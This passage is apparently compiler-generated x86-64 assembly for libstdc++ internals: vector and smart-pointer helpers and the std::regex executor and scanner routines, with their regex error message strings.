_ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE15_M_erase_at_endEPS4_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+8] sub rax, QWORD PTR [rbp-32] sar rax, 3 mov rdx, rax movabs rax, -6148914691236517205 imul rax, rdx mov QWORD PTR [rbp-8], rax cmp QWORD PTR [rbp-8], 0 je .L835 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-32] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEES4_EvT_S6_RSaIT0_E mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov QWORD PTR [rax+8], rdx .L835: nop leave ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_implC1Ev nop leave ret _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEEC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEED2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EEC2EmRKS4_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE12_Vector_implC1ERKS4_ mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE17_M_create_storageEm jmp .L842 mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE12_Vector_implD1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L842: add rsp, 40 pop rbx pop rbp ret _ZNSt6vectorISt4pairIPKciESaIS3_EE21_M_default_initializeEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov rcx, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZSt27__uninitialized_default_n_aIPSt4pairIPKciEmS3_ET_S5_T0_RSaIT1_E mov rdx, rax mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], rdx nop leave ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EEC2Ev nop leave ret _ZNSt10unique_ptrIA_bSt14default_deleteIS0_EEC2IPbS2_vbEET_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt15__uniq_ptr_implIbSt14default_deleteIA_bEEC1EPb nop leave ret _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE13_M_deallocateEPS3_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx cmp QWORD PTR [rbp-16], 0 je .L848 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaISt4pairIPKciEEE10deallocateERS4_PS3_m .L848: nop leave ret _ZSt8_DestroyIPSt4pairIPKciEEvT_S5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt12_Destroy_auxILb1EE9__destroyIPSt4pairIPKciEEEvT_S7_ nop leave ret _ZNSaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEEED2Ev nop leave ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE13_M_deallocateEPS9_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx cmp QWORD PTR [rbp-16], 0 je .L853 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEE10deallocateERSA_PS9_m .L853: nop leave ret _ZSt8_DestroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEvT_SB_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt12_Destroy_auxILb0EE9__destroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS8_EEEEEvT_SD_ nop leave ret _ZSt3getILm0EJPbSt14default_deleteIA_bEEERNSt13tuple_elementIXT_ESt5tupleIJDpT0_EEE4typeERS8_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt12__get_helperILm0EPbJSt14default_deleteIA_bEEERT0_RSt11_Tuple_implIXT_EJS4_DpT1_EE leave ret _ZNSt15__uniq_ptr_implIbSt14default_deleteIA_bEE10_M_deleterEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt3getILm1EJPbSt14default_deleteIA_bEEERNSt13tuple_elementIXT_ESt5tupleIJDpT0_EEE4typeERS8_ leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_main_dispatchENS9_11_Match_modeESt17integral_constantIbLb0EE: push rbp mov rbp, rsp push rbx sub rsp, 104 mov QWORD PTR [rbp-104], rdi mov eax, esi mov BYTE PTR [rbp-108], al mov rax, QWORD PTR [rbp-104] lea rcx, [rax+96] mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+64] mov rax, QWORD PTR [rbp-104] mov rax, QWORD PTR [rax+128] mov rsi, rax mov rdi, rcx call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EE8_M_queueElRKSE_ mov BYTE PTR [rbp-17], 0 .L867: mov rax, QWORD PTR [rbp-104] mov BYTE PTR [rax+140], 0 mov rax, QWORD PTR [rbp-104] add rax, 96 mov rdi, rax call _ZNKSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5emptyEv test al, al jne .L873 mov BYTE PTR [rbp-41], 0 mov rax, QWORD PTR [rbp-104] mov rax, QWORD PTR [rax+56] add rax, 56 mov rdi, rax call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE4sizeEv mov rbx, rax mov rax, QWORD PTR [rbp-104] add rax, 120 mov rdi, rax call _ZNKSt10unique_ptrIA_bSt14default_deleteIS0_EE3getEv mov rcx, rax lea rax, [rbp-41] mov rdx, rax mov rsi, rbx mov rdi, rcx call _ZSt6fill_nIPbmbET_S1_T0_RKT1_ mov rax, QWORD PTR [rbp-104] add rax, 96 mov rdi, rax call _ZSt4moveIRSt6vectorISt4pairIlS0_INSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EEEONSt16remove_referenceIT_E4typeEOSE_ mov rdx, rax lea rax, [rbp-80] mov rsi, rdx mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EEC1EOSA_ lea rax, [rbp-80] mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5beginEv mov QWORD PTR [rbp-88], rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE3endEv mov QWORD PTR [rbp-96], rax .L863: lea rdx, [rbp-96] lea rax, [rbp-88] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxneIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEEbRKNS_17__normal_iteratorIT_T0_EESJ_ test al, al je .L862 lea rax, [rbp-88] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEdeEv mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-40] add rax, 8 mov rdi, rax call _ZSt4moveIRSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEONSt16remove_referenceIT_E4typeEOSA_ mov rdx, rax mov rax, QWORD PTR [rbp-104] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEaSEOS6_ mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax] movzx ecx, BYTE PTR [rbp-108] mov rax, QWORD PTR [rbp-104] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl lea rax, [rbp-88] mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEppEv jmp .L863 .L862: cmp BYTE PTR [rbp-108], 1 jne .L864 mov rax, QWORD PTR [rbp-104] movzx eax, BYTE PTR [rax+140] or BYTE PTR [rbp-17], al .L864: mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-104] mov rax, QWORD PTR [rax+40] cmp rdx, rax jne .L865 mov ebx, 0 jmp .L866 .L865: mov rax, QWORD PTR [rbp-104] mov rax, QWORD PTR [rax+24] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-104] mov QWORD PTR [rax+24], rdx mov ebx, 1 .L866: lea rax, [rbp-80] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EED1Ev cmp ebx, 1 jne .L861 jmp .L867 .L873: nop .L861: cmp BYTE PTR [rbp-108], 0 jne .L868 mov rax, QWORD PTR [rbp-104] movzx eax, BYTE PTR [rax+140] mov BYTE PTR [rbp-17], al .L868: mov rax, QWORD PTR [rbp-104] add rax, 96 mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE5clearEv movzx eax, BYTE PTR [rbp-17] jmp .L872 mov rbx, rax lea rax, [rbp-80] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L872: add rsp, 104 pop rbx pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_main_dispatchENS9_11_Match_modeESt17integral_constantIbLb1EE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov eax, esi mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+116], 0 mov rax, QWORD PTR [rbp-8] add rax, 96 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EE14_M_get_sol_posEv mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+64] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEaSERKS6_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+96] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+116] leave ret _ZN9__gnu_cxx13new_allocatorINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZN9__gnu_cxx13new_allocatorINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZNSt10shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC2ISaIS5_EJRKSt6localeRNSt15regex_constants18syntax_option_typeEEEESt20_Sp_alloc_shared_tagIT_EDpOT0_: push rbp mov rbp, rsp push r12 push rbx sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-48], rcx mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZSt7forwardIRNSt15regex_constants18syntax_option_typeEEOT_RNSt16remove_referenceIS3_E4typeE mov r12, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt7forwardIRKSt6localeEOT_RNSt16remove_referenceIS3_E4typeE mov rdx, rax mov rax, QWORD PTR [rbp-32] mov rcx, r12 mov rsi, rax mov rdi, rbx call _ZNSt12__shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EEC2ISaIS5_EJRKSt6localeRNSt15regex_constants18syntax_option_typeEEEESt20_Sp_alloc_shared_tagIT_EDpOT0_ nop add rsp, 32 pop rbx pop r12 pop rbp ret _ZNKSt12__shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EE3getEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] pop rbp ret .LC17: .string "basic_string::erase" _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5eraseEmm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov edx, OFFSET FLAT:.LC17 mov rsi, rcx mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8_M_checkEmPKc cmp QWORD PTR [rbp-24], -1 jne .L882 mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm jmp .L883 .L882: cmp QWORD PTR [rbp-24], 0 je .L883 mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8_M_limitEmm mov rdx, rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8_M_eraseEmm .L883: mov rax, QWORD PTR [rbp-8] leave ret _ZNSt8__detail8_ScannerIcE17_M_eat_escape_awkEv: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] mov BYTE PTR [rbp-21], al mov rbx, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] movsx ecx, BYTE PTR [rbp-21] mov edx, 0 mov esi, ecx mov rdi, rax call _ZNKSt5ctypeIcE6narrowEcc movsx eax, al mov esi, eax mov rdi, rbx call _ZNSt8__detail12_ScannerBase14_M_find_escapeEc mov QWORD PTR [rbp-32], rax cmp QWORD PTR [rbp-32], 0 je .L886 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-40] lea rcx, [rax+200] mov rax, QWORD PTR [rbp-32] movzx eax, BYTE PTR [rax] movsx eax, al mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L885 .L886: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] movsx edx, BYTE PTR [rbp-21] mov esi, 2048 mov rdi, rax call _ZNKSt5ctypeIcE2isEtc test al, al je .L888 cmp BYTE PTR [rbp-21], 56 je .L888 cmp BYTE PTR [rbp-21], 57 je .L888 mov eax, 1 jmp .L889 .L888: mov eax, 0 .L889: test al, al je .L890 mov rax, QWORD PTR [rbp-40] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-21] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc mov DWORD PTR [rbp-20], 0 .L894: cmp DWORD PTR [rbp-20], 1 jg .L891 mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L891 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] mov rdx, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rdx+176] movzx edx, BYTE PTR [rdx] movsx edx, dl mov esi, 2048 mov rdi, rax call _ZNKSt5ctypeIcE2isEtc test al, al je .L891 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 56 je .L891 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 57 je .L891 mov eax, 1 jmp .L892 .L891: mov eax, 0 .L892: test al, al je .L893 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx eax, al mov rdx, QWORD PTR [rbp-40] add rdx, 200 mov esi, eax mov rdi, rdx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc add DWORD PTR [rbp-20], 1 jmp .L894 .L893: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 2 jmp .L885 .L890: mov esi, OFFSET FLAT:.LC14 mov edi, 2 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L885: add rsp, 40 pop rbx pop rbp ret .LC18: .string "Unexpected end of regex when in an open parenthesis." .LC19: .string "Invalid special open parenthesis." _ZNSt8__detail8_ScannerIcE14_M_scan_normalEv: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-40], rdi mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] mov BYTE PTR [rbp-1], al mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] movsx ecx, BYTE PTR [rbp-1] mov edx, 32 mov esi, ecx mov rdi, rax call _ZNKSt5ctypeIcE6narrowEcc movsx edx, al mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+160] mov esi, edx mov rdi, rax call strchr test rax, rax sete al test al, al je .L896 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-40] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-1] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L895 .L896: cmp BYTE PTR [rbp-1], 92 jne .L898 mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+184] cmp rdx, rax jne .L899 mov esi, OFFSET FLAT:.LC11 mov edi, 2 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L899: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt8__detail12_ScannerBase11_M_is_basicEv xor eax, 1 test al, al jne .L900 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 40 je .L901 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 41 je .L901 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 123 je .L901 .L900: mov eax, 1 jmp .L902 .L901: mov eax, 0 .L902: test al, al je .L903 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+240] mov rdx, rax mov rax, QWORD PTR [rbp-40] add rdx, rax mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+232] and eax, 1 test rax, rax je .L904 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+240] mov rcx, rax mov rax, QWORD PTR [rbp-40] add rax, rcx mov rcx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+232] sub rax, 1 add rax, rcx mov rax, QWORD PTR [rax] jmp .L905 .L904: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+232] .L905: mov rdi, rdx call rax jmp .L895 .L903: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] mov BYTE PTR [rbp-1], al .L898: cmp BYTE PTR [rbp-1], 40 jne .L906 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt8__detail12_ScannerBase10_M_is_ecmaEv test al, al je .L907 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 63 jne .L907 mov eax, 1 jmp .L908 .L907: mov eax, 0 .L908: test al, al je .L909 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rax+176], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+184] cmp rdx, rax sete al test al, al je .L910 mov esi, OFFSET FLAT:.LC18 mov edi, 5 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L910: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 58 jne .L911 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rax+176], rdx mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 6 jmp .L895 .L911: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 61 jne .L913 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rax+176], rdx mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 7 mov rax, QWORD PTR [rbp-40] add rax, 200 mov edx, 112 mov esi, 1 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L895 .L913: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 33 jne .L914 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rax+176], rdx mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 7 mov rax, QWORD PTR [rbp-40] add rax, 200 mov edx, 110 mov esi, 1 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L895 .L914: mov esi, OFFSET FLAT:.LC19 mov edi, 5 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc jmp .L895 .L909: mov rax, QWORD PTR [rbp-40] mov eax, DWORD PTR [rax+140] mov esi, 2 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al test al, al je .L916 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 6 jmp .L895 .L916: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 5 jmp .L895 .L906: cmp BYTE PTR [rbp-1], 41 jne .L917 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 8 jmp .L895 .L917: cmp BYTE PTR [rbp-1], 91 jne .L918 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+136], 2 mov rax, QWORD PTR [rbp-40] mov BYTE PTR [rax+168], 1 mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L919 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp al, 94 jne .L919 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 10 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rax+176], rdx jmp .L895 .L919: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 9 jmp .L895 .L918: cmp BYTE PTR [rbp-1], 123 jne .L921 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+136], 1 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 12 jmp .L895 .L921: cmp BYTE PTR [rbp-1], 93 je .L922 cmp BYTE PTR [rbp-1], 125 je .L922 mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] movsx ecx, BYTE PTR [rbp-1] mov edx, 0 mov esi, ecx mov rdi, rax call _ZNKSt5ctypeIcE6narrowEcc mov BYTE PTR [rbp-17], al .L925: mov rax, QWORD PTR [rbp-16] movzx eax, BYTE PTR [rax] test al, al je .L926 mov rax, QWORD PTR [rbp-16] movzx eax, BYTE PTR [rax] cmp BYTE PTR [rbp-17], al jne .L924 mov rax, QWORD PTR [rbp-16] mov edx, DWORD PTR [rax+4] mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], edx jmp .L895 .L924: add QWORD PTR [rbp-16], 8 jmp .L925 .L922: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-40] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-1] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L895 .L926: nop .L895: leave ret .LC20: .string "Unexpected 